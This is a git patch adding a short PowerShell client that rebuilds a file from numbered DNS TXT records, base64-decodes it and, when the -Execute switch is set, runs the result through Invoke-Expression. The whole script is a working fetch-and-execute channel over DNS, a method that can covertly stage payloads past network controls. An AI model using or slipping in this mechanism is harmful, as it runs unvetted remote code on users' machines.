From 3d65e6977075c1c677d4ef9cf49955d677309ac3 Mon Sep 17 00:00:00 2001 From: Simon Moser Date: Fri, 4 Feb 2022 15:02:32 +0100 Subject: [PATCH] Add small powershell client --- Retrieve-DNSFile.ps1 | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 Retrieve-DNSFile.ps1 diff --git a/Retrieve-DNSFile.ps1 b/Retrieve-DNSFile.ps1 new file mode 100644 index 0000000..10a1730 --- /dev/null +++ b/Retrieve-DNSFile.ps1 @@ -0,0 +1,32 @@ +Function Retrieve-DNSTXT { + [CmdletBinding()] param( + [string] $Domain + ) + return (Resolve-DnsName -Type TXT $Domain | select Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim() +} + +Function Retrieve-DNSFile { + [CmdletBinding()] param( + [string] $Filename, + [string] $DNSName, + [switch] $Execute, + [switch] $Write, + [string] $OutPath + ) + $count = [int](Retrieve-DNSTXT -Domain "$Filename.count.$DNSName") + $file_base64 = "" + For ($i=0; $i -le $count; $i++) { + $file_base64 += (Retrieve-DNSTXT -Domain "$Filename.$i.$DNSName") + } + "Base64 $file_base64" + $file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64)) + "String $file_string" + If ($Execute.IsPresent) { + $file_string | IEX + } Else { + $file_string | Out-String + } + If ($Write.IsPresent) { + $file_string | Out-File -FilePath ($OutPath, $Filename)[!$OutPath] + } +}